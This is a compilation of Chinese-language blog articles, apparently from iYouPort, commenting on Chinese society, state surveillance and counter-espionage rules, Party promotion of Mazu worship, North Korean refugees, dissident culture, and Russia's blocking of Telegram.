相比下中国更有意思，中国社会夹在超个人主义和被动集体主义之间，一边是物质资本主义的狂热驱动，另一边则是执政党不停地制造政治犯、央视认罪和言论督查，意识形态被持续的强化中，虽然民间

一直在抵制，但也无形中也促成了民众对意识形态的敏感性。政治关注在中国短期内是难以被淡化的。

当然，现代西方政治神话的信仰之所以破灭，也与两次世界大战、纳粹主义、二战时期对犹太人的屠杀、苏联劳改营等重大灾难历史高度相关，并且也包括20世纪中叶西方经济结构调整和生活方式调整的原因（享乐主义、消费和娱乐至上）。

私生活优先于公民生活、个人权利优先于公民义务的结果就是，道德的约束力越来越弱，逐渐无法保证人们遵守法律，政治开始向两极化挺进。在中国，这点也有明显表现，但不同的是，中国社会（尤其是中产）的现状是一只脚在超经济主义世界的不确定性里挣扎，而另一只脚又被意识形态的强化所升华出的公民宗教的神圣感拉扯着，于是中国社会的问题并没有减轻，反而加倍了，人们既感受着裁员、投机、神经症式竞争等时代性压力，又因自身的懦弱无法实现改变政治局面、无法承担公民责任，而感受着无助和郁闷。

超个人主义秩序也制造出一种空虚感、脆弱性和对身份的焦虑，它们是某些个体、尤其是“迷失的”、崩坏的个体发生极端激进状态的心理条件。这一时代无法回应超个人主义的一系列基本诉求：存在的意义、集体社会身份、结构性的定位、自我评价……信任感安全感在下降，极端主义和暴力在上升。

在欧洲国家，种族主义和反犹主义言论获得了自由，针对穆斯林、黑人、罗姆人、犹太裔的卑鄙言论不断增加，仇外心理正在蔓延。但这次和历史上的种族主义峰值期不太一样，当代的种族主义已经大多抛弃了种族等级思想，它揭示的仅仅是人们不平等的视野，不同种族在属性上已经不再具有实质性的区别——没有谁会因为种族而低人一等。

景观政治削弱了思想的分量

消费主义经济在景观政治的崛起中扮演着重要角色，它改变了人与自身、人与社会、人与历史的关系。诱惑资本主义已经用个人幸福目标取代了英雄主义的抱负、对正义战争的膜拜和革命愿望；沉浸在这一时代中的人们所追求的生活意义不再是通过集体行动和武力去改造世界，而是自我的全面发展。由此，在这一时代中，观念的激烈碰撞所产生的作用越来越微弱，虽然观念碰撞并没有消失，它所涉及的道德领域也越来越多，但政治思想已经不再被认为是革新的引擎，它们的力量已经被科学技术和经济力量所取代。沉浸在超个人主义中的人们盲目地追求激情，以满足自我表达的欲求，那些浅薄的、迎合大众情

绪的口水式内容吸走了大部分流量。对景观政治的诠释之浅薄单调，足见这一时代对姿态化的需求已经远高过认知本身。

精神价值被拉低了，人文科学类书籍的销量明显下降，而读者更多倾向于功利主义的阅读模式，从兴趣和求知角度引发的阅读越来越少。

这个社会正在逐步走出漫长的精神世界的时代，进入了现代祛魅运动的一个额外阶段，知识分子的力量开始让位于媒体，媒体决定着各种社会议程的优先权，约稿是以吸睛度为准则的，而不是时代性社会性重大问题，媒体捧红了一批又一批的名人，而其中真正的知识份额却严重下跌。

知识分子的社会威望被削弱了，人们热爱的是明星、体育冠军和形形色色的网红，知识分子只有披上上述某种外衣，方能博取公众的注意力。这是所有人的悲哀。

随着商业价值、金钱价值、体育价值、娱乐休闲价值的上升，精神价值正在垮塌，一种观念也逐渐发展起来，那就是实用主义，于是一大批管理技术主题的书籍蜂拥而至，它们的目的不在于促进理解，而是取决于人们直接面对的问题——最重要的不再是被认为能提供人类社会终极真理的钥匙，而是那些正在发生的、有益于个人生活和娱乐的东西。

大量知识已经可以通过媒体途经来获得，一点鼠标即刻出现，然而它正在虚弱人们的思考能力、专注力和批判精神——互联网人往往只和自身观点相似的人交流；信息泛滥扼杀了信息本身，也扼杀了精神生活；人们不再思考，而是喜欢收集和堆积各种没有上下文的数据，不做任何阐释。

开放的信息量越是巨大，如何对其进行筛选、诠释、组织和排序，就更为关键，因为没加工的信息并不是真正的知识，信息技术能填满人们的的头脑，但其本身并没有创造出智慧——技术的进步不等于认知劳动的进步，会上网不等于会思考。

景观政治即是这一时代的产物，也是推动力，它侵入人的潜意识，令人们在无形中被宣传所吸附。〇

原文

中国的反间谍活动要求加强对外国人的监视 - iyouport

关于中国社会

这是一个很有冷战意味的迹象

根据中国国安部发布的新规定，中国的社会团体、企业和公共实体将在 “打击外国间谍活动” 方面承担更多责任。

在中国和一些西方国家政府之间的敌对关系加深之际，包括在拘留被指控犯有国家安全罪的外国人问题上，这些规定于4月发布并生效。

据国家媒体报道，国家安全部将与其他政府部门合作，“调整” 易受外国间谍活动影响的群体名单，并制定防范措施，包括中国共产党和国家机关、社会团体、企业和公共机构。

一旦某组织被指定为负有反间谍责任，国安部将对其工作进行 “指导、监督和检查”，包括人员审查，以及严格的培训、监测和工作人员海外旅行的汇报。被确认的组织必须向当局报告任何 “可疑情况和事件”。

这是在越来越多的公众运动中进行的，以警惕外国间谍，国家媒体警告说，外国间谍可能是一个 “亲密的情人” 或 “有相同兴趣的网上朋友”。

中国现代国际关系研究院的国家安全和反恐专家李伟告诉官方媒体《环球时报》称，新法规 “强调公司和机构要采取预防措施，防止外国间谍活动”。

李伟说，关键领域将包括从事国防、外交、经济、金融和科技工作的公司或机构。

“在各行各业工作的中国人被金钱诱惑或恐吓而从事间谍活动，成为外国间谍情报机构的棋子的案例不胜枚举。”

新华社援引一位不愿透露姓名的国安官员的话说，新的法规是为了应对海外间谍机构和 “敌对势力” 对中国的 “强化渗透”。

近年来，中国当局以国家安全的名义或间谍罪逮捕了一些外国人，引起了他们政府的谴责，并指责这些拘留是 “人质外交” 的实例。

两名加拿大国民迈克尔·科夫里格和迈克尔·斯帕弗自2018年以来一直被关押，并在3月接受了审判。他们的案件被认为是对加拿大根据美国的引渡令逮捕华为高管孟晚舟的报复。

澳大利亚国民杨恒均和成蕾目前也被拘留。杨恒均是一名作家和博客作者，被指控加入或接受一个身份不明的间谍组织的任务而危害国家安全，但在超过300次的审讯中，他一直坚持自己是无辜的。

国家广播公司CGTN的新闻主播成蕾被拘留了八个月，“涉嫌向外国势力非法提供国家机密”。澳大利亚外交部长玛丽斯·佩恩（Marise Payne）在2月说，澳大利亚 “不了解支持这一指控的证据”。

China orders companies to step up monitoring of foreigners in anti-spying push

原文

中国的无神论执政党正在鼓励民间宗教，为什么？ - iYouPort

关于中国社会

“中国化” 是个有意思的东西，而不仅仅限于宗教信仰方面。还记得去年那篇文章吗？《新第三帝国》……

「图」

「图」

有几种方法可以衡量中国共产党是否批准了某机构。

由政党或国家的分支机构发出的黄铜挂牌是标志之一。盖章的文件可以用作进一步标志。当然，可以说官方批准状态的最佳检验标准是签发大量文书。

令人惊讶的是，一个隐藏在中国东部最大渔港之一石浦港附近一条小巷里的明朝寺庙，通过了以上所有这些标准的测试。

这座寺庙布满了散发着熏香的红色木制品，还有磨损破旧的灰色石板，这是献给十世纪少女林默的寺庙，据称她从海难中奇迹般地拯救了亲人，后来成为女神，也就是妈祖（Mazu）。

年长的居民记得这座寺庙曾因被指“封建迷信”而面临被毁的危险。

在1966–76年的文化大革命期间，当这个神圣的场所被毛派的狂热者夷为平地、无数的僧侣被惨死时，这座寺庙曾经变成了一所小学。

该寺庙的志愿者韩素莲[音]说，红卫兵曾经试图洗劫这个地方。

她自豪地回忆道，当地人“威胁要殴打红卫兵，所以他们退缩了”。

韩女士补充说，水手们从未停止过信仰妈祖。当他们离开石浦在东海寻找鳗鱼和黄花鱼时，他们会把香袋当作秘密的护身符。

今天，渔民们不必再掩饰自己的祈祷了。去年 9月16日，在共产党的大佬和其他官员到达之前数小时，经济学人参观了这座寺庙。当时石浦的人们正在开启一个新的捕鱼季节，结束了5月1日实施的禁令。

这座寺庙的风化立面上有一块黄铜牌，表明它是经浙江省民族宗教事务委员会许可的。在旁边，祭坛上放着新的带有黄色锦缎的横幅。

文书以成堆的祷告单的形式，结合了信仰和官僚主义。上面写有两艘船的船号，船长的姓名和手写的祈祷，祈祷这些船遇到平静的海面并安全返回。

船员们会在离开石浦市之前烧掉这些纸。石浦是一个美丽的港口，周围环绕着陡峭的山丘，树木繁茂。

当地妇女在忙于整理前一天晚上在渔民宴会上遗留下的酒。这场露天盛宴在官员的监督下进行，并由国家电视台拍摄，最终以水上拖网渔船游行结束。

船只将玛祖和其他神灵的雕像带到了海边的游客身边，到处都是高高举起的发光的智能手机。

中国的执政党仍然是无神论者。

尽管在毛泽东死掉六年后的1982年恢复了对佛教、道教、伊斯兰教、和基督教、新教、及天主教的正式容忍，但是，习近平政府却收紧了规定。

习近平呼吁对宗教进行“中国化”。用通俗易懂的语言讲，这意味着所有信仰最终都必须屈服于一个世俗的信条，其中涉及党的爱国主义和家庭价值观。

国家镇压机关被控针对过度虔诚的穆斯林，尤其是在新疆西部地区，成千上万的穆斯林（主要是维吾族人）被拘留在再教育营中。

与此同时藏传佛教教徒生活在一个对外国人基本完全封闭的监视国家里。

- 《开源调查图解新疆”再教育”营》
- 《中国在西藏构建了强悍的数字隔离墙》
- 《中国新疆古老的清真寺真的被毁了吗？》
- 《新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的？》

即使在繁荣的浙江，官员们也下令拆除十字架，虽然不能完全拆除数百个基督教教堂，但关闭了大批非正式的“家庭教会”。

相反，某些形式的信仰是被鼓励的，特别是那些扎根于中国、在海外华人中有大量信徒的信仰。妈祖崇拜适合这个逻辑。

几个世纪以来，中国的移民从澳门到马来西亚再到墨尔本，为女神建造了很多庙宇。半官方机构中国妈祖文化交流协会的周金燕[音]指出，“将妈祖崇拜归为民间信仰而非宗教是有益的”。

这样可以放宽管制，并促进宗教信仰为经济和政治目的服务。

妈祖在台湾有很多追随者。习近平在2011年敦促官员“充分利用”妈祖来吸引台湾人，其中大多数人与大陆有着祖先的联系。

台湾人花钱在石浦的山上为玛祖的姊妹神如意建造了一座华丽的新庙。其中很多资金来自已故的演员“Blacky” 柯受良的亲戚。

柯受良是在1955年被撤离到国民党控制的台湾的数千名浙江人之一。许多人定居在台湾 Fugang，绰号“小石浦”。台湾的信徒们在石浦的钓鱼节上是嘉宾，他们穿的T恤衫上写着“海洋女神”。

为那些冒险航海的人

纪念妈祖的盛大仪式在40年前是闻所未闻的，当时150吨渔船的船主周泉阳[音]还是个小男孩，而中国则是一个比现在贫穷得多的地方。

周说：“如今人们吃饱了，有钱了，开始祈祷了”。他说，每个渔民都对妈祖很有信心，该镇的2800艘船已经为捕鱼季的到来做好了准备。

他补充说，他自己的女儿，一名大学生，不信神。经济学人感觉很意外。

当地新教徒说，大概有100艘船是基督教徒所有的。他感叹共产党的领导人将基督教视为外国入侵者 —— 这就是为什么共产党政府努力促进民间宗教和所谓的“文化自信心”的原因。

然而，捕鱼生活需要更深的信仰：海洋提醒着面对大自然时人类有多渺小。〇

China’s atheist Communist Party encourages folk religion

原文

中国的监视技术对朝鲜难民构成威胁 - iYouPort

关于中国社会

监视会对任何人构成威胁

「图」

「图」

中国广泛的监视系统令人不安的内幕已经曝光。（在这里看到中文版，文末有推荐解决方案）人权观察的报告详细介绍了中国警方在新疆使用的大规模监视应用程序，这里据说有数十万人被政治“再教育”。

维吾尔人以惊人的速度被任意拘留，部分原因是这种监视APP的广泛覆盖范围。

该应用程序汇总来自众多系统和来源的监视数据，包括闭路电视摄像机、本地窃听报告、以及像便利店一般无处不在的警察检查站。

实际上，它允许警察监视中国公民的一举一动。

当数据通过应用程序时，它会筛选和分析所谓的可疑活动。被认为“可疑”的活动中包括很多日常生活的简单活动。

国际社会迅速谴责中国任意大规模拘留维吾尔人的行为。

但是，国际社会对其他可能遭受中国利用新兴技术为工具进行压迫的人口，关注相对较少。

无疑，中国对压迫性监视技术的拥抱肯定不会仅仅影响其穆斯林人口。另外一个特别脆弱的群体是朝鲜难民。

虽然目前在中国的脱北者总数不详，但有些人估计目前仍有10万至30万脱北者躲在中国。

大多数人最终能在韩国寻求庇护，在那里他们可以自动获得公民身份。

然而，几乎所有来自朝鲜的难民都必须通过中国才能在韩国获得自由。

这些难民依靠地下网络—主要由基督教传教士和走私者组成—开启一段危险旅程。

逃离残酷的金家政权的可能性，取决于匿名、隐身和地下系统的使用。由于北京方面同平壤达成协议，遣返在中国境内发现的所有朝鲜人，因此脱北者的隐身至关重要。

联合国正式将朝鲜脱北者归类为难民。因此，北京遣返朝鲜难民在技术上违反了中国对“联合国难民公约”的承诺。

然而多年来，中国一直在遣返朝鲜脱北者，认为他们是经济移民，而不是难民。

最近，七名朝鲜逃亡者正面临着中国的遣返 —— 其中一人是一名10岁的女孩，她的母亲和父亲已经在韩国获得了自由。

难民一旦返回平壤，将面临严重后果。

联合国调查委员会2014年的一份报告记录了从中国被遣返回朝鲜的人所遭受的系统性镇压。

大多数人被扔进普通的囚犯营地（교소））或政治监狱（관리소），他们很可能会遭受酷刑、营养不良和强迫劳动。

许多怀孕的朝鲜妇女被迫流产，往往没有麻醉，有时候是让一名士兵站在孕妇的肚子上。

如果孩子在堕胎中存活下来，母亲可能会被迫看着自己的孩子被窒息死亡。所有被遣返的难民的境遇都是残酷的，但对妇女来说尤其严重。

大多数朝鲜难民得到了基督教传教士的支持。

接受传教士帮助或在中国皈依基督教的朝鲜人，一旦被遣返会面临特别苛刻的待遇。

调查委员会指出，难民经常会被询问是否与基督教传教士有过接触。基督徒会在朝鲜遭受独特的迫害。另一个组织，Open Doors USA，已经确定平壤是世界上最糟糕的基督徒迫害者。

国际组织已经开始关注中国日益庞大的监视工程所带来的深远影响。

除了对中国公民个人隐私构成的威胁之外，值得认真考虑这些政策的次要影响，包括它们可能对朝鲜难民产生的影响。

注：这是 forbes 的文章。我们依旧认为监视本身就是迫害，不论受害者是谁。在其中区分“最脆弱”和“不怎么脆弱”的意义并不大。

当然，我们绝对必然关心维族公民和脱北难民的人身安全，因为他们会直接因遭受监视而导致被残害；但我们认为需要有更多人站起来反抗才能结束这种所有人正在面对的威胁。

这篇报道中提到的隐身，对所有人来说都很有必要；尤其是反抗者，反抗者的成功才是终结1984的希望。我们将在下个月开启新的系列话题，专门讲述隐身的小技巧。

The Threat Posed By China’s Surveillance Technology To North Korean Refugees

原文

中美为敌是假相，（中国）异议和（西方）反抗者南辕北辙才是真的 - iYouPort

关于中国社会

舆论分为很多种的，吐槽在其中是毫无意义的一种 ……

「图」

「图」

中国人的亲美亲的不是美国精神，而是美国政权，这也是为什么中国异议和美国反对派无法接轨。

美国精神是自由至上的、是对一切权力权威保持警惕的、是 Keep Fighting 的，这些优秀品质中国人一个都没get到。

美国反对派和俄罗斯反对派可以联手，尤其是在技术方面，而中国异议则不行。抱政权大腿的人不论抱的是什么政权，都不能称之为反对派，只不过是异议。

有些中国人亲美国政府是期待华盛顿能制约北京，部分 Trump fans 也是做的这个梦。但反美对中国政府来说只是一个政治策略，是功利性民族主义的表现形式，民族主义是意识形态真空的替代品。

本文全部都是常识，无视所有明白人的感受仅此一次，先行致歉。

“反美”的恶意愚蠢

中国政府反美只是战略。苏联解体使共产主义意识形态失去了信仰群体，中国突然要面对一个失去意义的世界，因此民族主义倾向作为意识形态替补品就变得对当局越来越有实用性。89年天安门屠杀后使当局不得重新不寻找新的权力杠杆。为了平衡独裁统治和修补被摧毁的“改革新形象”，修复政治合法性，当局加紧寻找意识形态替代品；同时，为了打破天安门流血事件后西方社会所强加的孤立，中国政府实行积极外交政策，试图扩大外交联盟圈子，采用与法、德等欧洲国

家联盟反对美国的策略。

欧美反对派都明白中美为敌是战略性的，是不稳定的，中国政府模仿到了华盛顿几乎所有最糟糕的特征，从大规模监控到暗箱操作，从地缘政治为纲到高举“国家安全”，从嘻哈式景观政治宣传到物质资本主义……并把它们发挥到了极致。

不用听欧美反对派口头上怎么说，准确判断他们的认识应该看他们怎么做。美国异议使用的加密技术是“made in russia”，而不是 made in china，Snowden 逃到香港再去俄罗斯，而不是逃来中国，Assange 逃难时选的也是香港转机而不是中国、马来西亚或者新加坡，后两者都是美国盟友，而中国和美国的关系他无法确定不敢冒险，美国的盟国会把他们送给美国，那将导致他们面对永无止境的监禁和无法预料的酷刑，而美国的敌人则不会这么干。他们不会拿自己的性命开玩笑。

然而中国人尤其是中国异议，却不懂这个道理。北京政权的恶意愚蠢拉低了太多人的智商。

> “Public opinion is a powerful tool, if not the ultimate tool, for changing policies of the seemingly omnipotent political leaders. The greatest danger is an apathy that allows for evil to thrive when bad people rule over us and provoke nationalistic and patriotic fervor that intimidates many into compliance.”
>
> — Ron Paul, Swords into Plowshares: A Life in Wartime and a Future of Peace and Prosperity

无意义的舆论不是关注

舆论是改变看似无所不能的政治领导人政策的有力工具，即使不是最终的工具。然而舆论也分很多种的，吐槽在其中是毫无意义的一种。

然而仅仅是吐槽，也暴露了很多问题。“Secretary of State Rex Tillerson is out at the State Department, President Trump confirms; CIA Director Mike Pompeo will replace Tillerson”，这是本周二的快讯，一共两句话，中国人看的仅仅是前一句：国务卿下岗（这是在看热闹），美国异议看的则是后一句：Pompeo上位和新CIA局长（关注酷刑问题。“酷刑代言人” Mike Pompeo曾经公开宣称要处死斯诺

登）。

这种状况绝对不限于对美国政治的感知，几乎一切话题都是如此——看热闹和关注是天壤之别。关注才是舆论，看热闹是在消解舆论！

无法不承认，社交媒体上比重最大的就是口水，所有语种都一样。真正有知识含量的账户极少 (高水平人士中有很多根本不使用社交媒体)，在此推荐几位不错的信息源: Glenn Greenwald, Kenneth Roth, n.n.Taleb, Ian Bremmer, Matthew Braga, Thomas Drake, Matthew Yglesias, Clay Shirky etc.（这仅是一部分，严重不完整，排名不分先后 incomplete lists & in no particular order）我敢打赌 99% 的中国人完全不了解他们全部。

为什么中国异议走不出去

中国异议和西方异议难以联合，原因在于三点 ：第一点就是上述提到的，中国人一直以来都找错了方向，真正可以给中国人以帮助的并不是海外具有政府和大财团背景的大牌媒体和所谓的ngo，而是独立媒体和独立**ngo**。

第二点是阶层差异，在西方国家，有技术能力知识水平的反对派大多是底层，而中国同样或稍差水平技术能力和认知的人群最次是中产，底层几乎只会喊口号，什么技术都没有，也就什么都做不成。当然你可以说，技术能通过学习掌握，我同意，但是阶层差异直接造成中国异议和西方反对派之间的观察角度和思考方式完全不一样，如果中国中产和高等阶层异议倾向于亲西方所谓的主流，那结果就是现在这样，有希望帮忙的人也帮不上，而中国人的依赖对象则倾向于改良而不是变革。

第三点就是最基础的公民责任感——你是在反对某个党派，还是对权力本身抱有警惕，是否具备监督权力的意识，简单说就是能不能尽公民之责的问题。如果没有，那只能作为某个党派的异议，而不是在追求独立自由，这是中国异议和西方异议的根本性区别（中国人对斯诺登的误解、对Musk的崇拜 等等太多，都与此有关），也是没有民主经验和有民主经验之间的根本性区别。这便令对话在绝大部分层面上都难以展开。我在那篇访谈文章中展示过这种冲突。

很多人会倾向于解释为“语言不通”，不排除这个因素，但它的影响很小，在技术的帮助下几乎微不足道。真正的障碍并不是仅仅靠语言就能解决的。

在互联网上，使用两种及以上语种的中国人不少，但他们只是在用非母语表达母语文化、母语中领略的思想、母语中培养的思考方式和价值观，于是多语种并没有变成他们的优势，反而暴露了其母语国家在教育和文化等方面的弊端，包括并不限于自我封闭、逻辑错乱、无知和反智。这就是为什么我一直强调的是思考方式走出去，而不仅仅是人或语言。

多语种可以为你开启一扇通往更宽广世界的大门，但是不是能进入这个世界，还需要更多的努力。

伊朗抗议者能在西方国家舆论范围内获得高度关注和支持，连海盗湾也在为伊朗革命摇旗呐喊，俄罗斯反对派也能做到这点，中国人没理由做不到。

近年来在充分利用互联网议题下一个子问题很活跃：如何在多语种和不同文化之间搭桥（也包括不同学科）很多人认为翻译和解义就足够了，但效果明显不好，因为它只能做到把外面的“拿进来” 但对融合几乎起不到任何作用。就像把一个个密封的水球扔进大海，如何刺破这些水球（让人们打开眼界和心界去接收）才是关键问题。

毫无疑问要做到这点需要更丰富的知识覆盖面、好奇心和穿破基于传统的自闭的积极性，这也是互联网时代必需被更新的思考方式——这个虚拟世界是无国界的。互联网不会带给你额外的自由、见识和勇气，如果你始终缩在水球内部的话。技术没有国界，互联网没有国界，突破那个水球的壁垒，看到真正的世界，现在有机会联合到全球范围内志同道合的力量，你没有任何理由错过它。

> Politics emerges as the expression of the battle between our collective desires and strenghts. Due to the common nature of mankind, there is great commonality in some of our strongest desires. When these desires do not compete they drive politics forward to ensure their forfillment. This is what we usually mean by the capitalised Right, a powerword, a threat of collective enforcement.

异议陷入“敌人的敌人”刻板思维不是好事

美国异议并不是完全正确，有部分人也陷在“敌人的敌人”误区中。棱镜被曝光后很多美国人开始警惕民主党，与其支持的、情报机构实施的、违宪的全民监控（Surveillance Society）有很大关系，以至于形

成了一种叛逆，FBI已经变成了谎言的代名词，比如FBI批中国华为的产品涉嫌危害国家安全，而很多美国社会舆论认为FBI在“树稻草人”，一些异议人士甚至有意选择华为产品——“你觉得美国人的数据落在美国的敌人中国人手里更好，还是落在FBI手里更好？” 就如中国人更愿意将自己的隐私数据送给谷歌，而不是中国政府。

但是你真的能确保美中为敌吗？你不能，所以华为和谷歌的选择都是错的。

敌人的敌人思路的确可以作为策略存在，就如斯诺登的反侦策略，但有些时候它也会严重误事。所以你必需基于事实判断，而不是基于意识形态。

很高兴看到越来越多的中国朋友开始明白了这个道理，开始警惕数字极权的整体危害 FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）这是进攻和自卫进入行动阶段的基础认知。

但还是有很多中国异议执迷于“敌人的敌人”，尤其是，此处的“敌人”还是基于中国政府的恶意愚蠢，结果就是蠢上加蠢。五毛和小粉红带着任务嘴炮“反美”，导致中国异议看到批评美国的舆论就认为是五毛。这是非常荒唐的。就如共产党意识形态的全球大外宣，导致有些西方人看到中英双语谈论政治话题的社交媒体用户就认为其是“共产党的喉舌”。

“无国界”不是简单的三个字

无国界医生组织为全球灾难提供人道主义援助，无国界记者组织关注全球所有侵害言论自由、新闻自由的政权和trust，隐私捍卫者从来不会使用“你们国家我们国家”这样的字眼，就如真正的独立人权组织不会漠视任何一个国家的侵犯人权行为。

然而直到如今还是有很多中国人眼中只有中国。他们口头反对中国当局对新闻的管制，但马耳他反腐调查记者 Daphne Caruana Galizia 被暗杀的消息却极少有中国人关注；他们愤怒于中国当局对网络的封锁和控制，却毫不关心比中国封锁程度更为严重的埃及，更没有埃及人对突破封锁、反审查的加密技术的重视程度；他们对中国当局侵犯人权的行为表达充分的憎恶和恐惧，却质疑 Manning、Ellsberg、Assange、Snowden 的行为，完全无视这些说出真话的人所遭受的迫害，即便在黑点监狱、关塔那摩、各种酷刑和大规模监控被曝光后，依旧如是……

一直以来中国异议最喜欢说的一句话就是“他们关注我们吗？”却没有人问“你们关注别人吗？”不不，这个句式本身就是错的，不论是人权还是隐私、自由还是生命，从来不存在“我你他”的区别，如果你承认每一个公民都有吃饱饭的权利，而仅仅关注中国的饥民，完全无视埃塞俄比亚和也门被活活饿死的儿童，那么你的宣称就是非常可疑的。

中国人喜欢 Internet，讨厌中国大局域网，却几乎不理解 Internet 的无国界本性，即便费力登陆 twitter 也是缩在中文圈的小院里，对得起宽带费吗？去年有华裔异议选择离开社交媒体，删除所有APP，临走之前告诉我说“厌倦了互联网”……我笑了很久。因为他们厌恶的仅仅是中文圈，互联网大海里的一滴水而已，我上面推荐的少数几个有知识水平的账户他们几乎从来没看过。

曾经有海外朋友问我“如何形容中国异议”，我毫不客气回答：困兽。笼子里的困兽。这个笼子的一半是他们自己打造的，而当有人想解救他们、为他们扒开一个洞时，却没有人趁机逃出来，他们要么视而不见，要么告诉你“这不合理”……

自闭早已成为中国文化的一部分，并不仅仅是某个群体的特征。对此我曾经写过一些分析文章。我的焦虑在于不希望再听到关于“中国社会没有反抗文化，我们插不上手”这样的话，但无法反驳，中国社会的确没能充分展现出反抗精神，一面是盲目求援（对美国政权）另一面则表现虚无和自我审查的犬儒主义，对此采取从外向内的角度观察是根本无法理解的。

做一个异议并不难，喊一句“我反对”就足够了。但如果不能用行动支持自己的立场，口号没有任何意义。有效行动的基础是知识和技能，当你具备了足够的知识和技能后，将很容易想到实现自己的目标的办法。〇

原文

为什么是俄罗斯封锁 Telegram 引发连日刷屏而不是中国的大面积封锁和监控？ - iYouPort

关于中国社会

如果你不能在最大程度上创造、创新或推动，互联网对你来说并没有什么用。互联网的小圈子只是低热量的信息饮食，仅仅是一种维生，而不是发展和增长。

“中国太缺乏人才，或者说实际能力与知名度相匹配的人，不论是在媒体方面还是技术方面。 ……在国际上很难听到中国人的声音”，几年前，一位加密技术领域的欧洲朋友这样对我说。

两年前，公民实验室一篇关于中国微信审查的报告，其主要结论是我在五年前揭露并分析过的。当然，我的文章使用的是中文。我当时与合作者讨论这件事时很郁闷地说，“我们根本没能走出来，我们被封闭了，或者就是自闭”。

这几天来，俄罗斯对 telegram 的封锁一直是几大社交媒体平台上的热门消息，国际人权组织、隐私保护组织、技术热心人士、活动家们纷纷发帖和撰文加以谴责，舆论和报道覆盖多个语种。其中基本没有中文。iyouport 的博客在跟踪这一消息，对其他语种的相关报道进行了翻译，但在中国网络上传送时几乎无人响应。

一个有趣的现象在于，这些报道中并没有多少提及中国。众所周知，中国在三年多前就已经封锁了 telegram。似乎当时也没有今天这样的横跨多语种的广泛关注。与中国政府的其他封锁和审查被披露的结果近似。

为什么会这样？

「图」

「图」

“闹大了”和“没闹大”

俄罗斯对其公民的在线活动进行管制所采取的方法被很多人认为是在效仿中国。虽然克里姆林宫还没有完全学到中国的 GFW，但这并不意味着他们会停止打击互联网的尝试。

半个月前，俄罗斯阻止 telegram 的行动进入了猫鼠游戏部分，一旦第一个子网被阻塞，Telegram 就将其服务器切换到备用IP地址。

克里姆林宫穷追不舍，截至4月19日中午它已经禁止了总共 1800 万个IP地址（相比之下，在过去几年中，这个数字为 38,000 个）。以至于 Gmail 和其他 Google 服务对许多俄罗斯人而言都无法使用，因为当局关闭了他们认为可被用于规避禁令的所有主要网络。

克里姆林宫强硬派一直不遗余力地促使建造一个中国那样的 GFW。独立观察员 Konstantin Gaaze 对媒体说，中国模式是正在被俄罗斯当局纳入考虑的三种模式之一。

相比下，当年中国封锁 telegram 时没有引起猫鼠游戏的斗争。

2015 年 7 月，Telegram 遭遇了大规模 DDoS 攻击，峰值攻击流量高达 200Gbps。公司CEO Pavel Durov 一开始推测可能是竞争对手 LINE 所为，两家公司之间存在版权方面的争议。但他很快就表示也不确定了。

Durov 说，唯一能确定的是，“亚洲有个大人物很不高兴”，他们此前从未见过如此大规模的 DDoS 攻击。Techcrunch 认为，有很多因素将攻击源指向中国。

中国官媒《人民日报》在2015年7月11日发表的文章中公开抨击和抹黑当时被逮捕的多名维权律师，文章中提到律师和访民使用的通信工具是微信、QQ 群和 Telegram，其中 Telegram 被多次突出和强调，称“‘电报’主要用于组织串联，里面的言论基本都是攻击党和政府的……人们在里面策划、组织各种声援活动，可以设定时间删除图片和文字……

Telegram 包含了信息自毁功能、支持端对端加密，很难被监听。当时 Telegram 的网站也已经遭到了中国的封锁。Durov 说，“我不认为 Telegram 在中国已被彻底屏蔽，但来自中国的流量确实在下降。如果中国完全屏蔽了 Telegram，现阶段我们不会与他们的政府玩猫鼠游戏，让他们屏蔽好了。”

「图」

「图」

“价值观”

根据中国异议的经验，只有被 GFW 封锁的应用才是安全和“干净”的。因为如果一个应用能顺利在中国市场占据一席之地，其势必会妥协于中国当局的审查要求，而那些妥协细节往往不会被公开。尤其是加密应用，其进入中国的交换条件势必会包括密钥或者后门。

就如 Facebook 致力于创建的“中国版”、Apple 把密钥交给共产党、LinkedIn 变成亲政府水军的操练场……去年 PayPal 也和百度合作了，虽然 PayPal 在美国做过不少不义之举，但此前对中国人来说它还是相对安全的，现在不再是了。

如今这一逻辑在俄罗斯也适用。Telegram 被克里姆林宫封锁是因为它拒绝交出密钥，这是非常明智的，作为一家被广泛信任的安全通讯产品，它必需维护自己的声誉根基。Telegram 显然比很多美国大型科技公司有骨气多了，那些人为了进入俄罗斯市场不惜以允许克里姆林宫查看源代码为条件。而如此严重的利益交换却直到两个多月前才被调查。

这一层面上看，中国和俄罗斯是一致的，那么基于结果的差异在哪里？除了对大面积的“附带伤害”的愤怒之外，俄罗斯人也没有满足于使用 VPN 绕开封锁的方法，他们要求当局允许安全的通讯应用在不损伤其安全性的前提下继续方便使用，而不是中国社会追求的“退一步海阔天空”。

首先必需重申本网的一贯立场：不论是否封锁，"VPN/Tor" 这些隐私保护技术都是必要的，就像你出门要穿衣服一样，不仅要穿，而且不能穿开裆裤，也就是说要尽可能地保护隐私安全，反追踪、反审查，这是原则性问题。

但这并不意味着你应该妥协于当局的封锁，“嗨，我一直挂着 VPN 呢，随便你怎么封”。封锁、审查就是侵犯人权的，由此引发的维权需求理论上很容易将人们引向街头。

「图」

「图」

“忍耐力”

事实显示，中国人的“忍耐力”的确远高于俄罗斯，虽然很多俄罗斯观察家曾经多次批评俄罗斯社会错过了对普京政权的抗议机会。

这次俄罗斯人上街了，一万两千人在莫斯科街头抗议当局封锁 telegram，其中年轻人是主力。著名反对派领导人 Alexei Navalny 也参加了，并且以他的影响力在 Twitter 上动员更多人加入反抗。

该消息以多种语言在社交媒体上传播，iyouport 做了翻译，但他们的中文版在 GFW 内的推送几乎无人响应。编辑 Sidman 说他们推送了上百个群组，大约覆盖面在数万人左右，但没有收到任何回应（除了一位老朋友的点赞）。当时中国人在欢庆五一节小长假。

与此同时，一位中国编辑私下找到 Sidman，拿着一张莫斯科抗议现场的照片，很兴奋的说“你是否知道这件事？”Sidman 表示：“你应该把它（这张照片）发出来，公开发布”，但对方拒绝了。恐怕是为难于审查。

这大概是最有趣的部分。

在中国，曾经很多观察人士信奉关于社会压力（情绪积累）达到某个阈值便可触发反抗行动的设想，这一预测在理论上是说得通的，相关“积累”也从未断档，但实际状况显示，其效果正在走向预期的反方向：增强了大众的忍耐力、段子手的幽默感，以及为各种媒体自媒体提供了选题，此外没了。如今连幽默感都快没了。

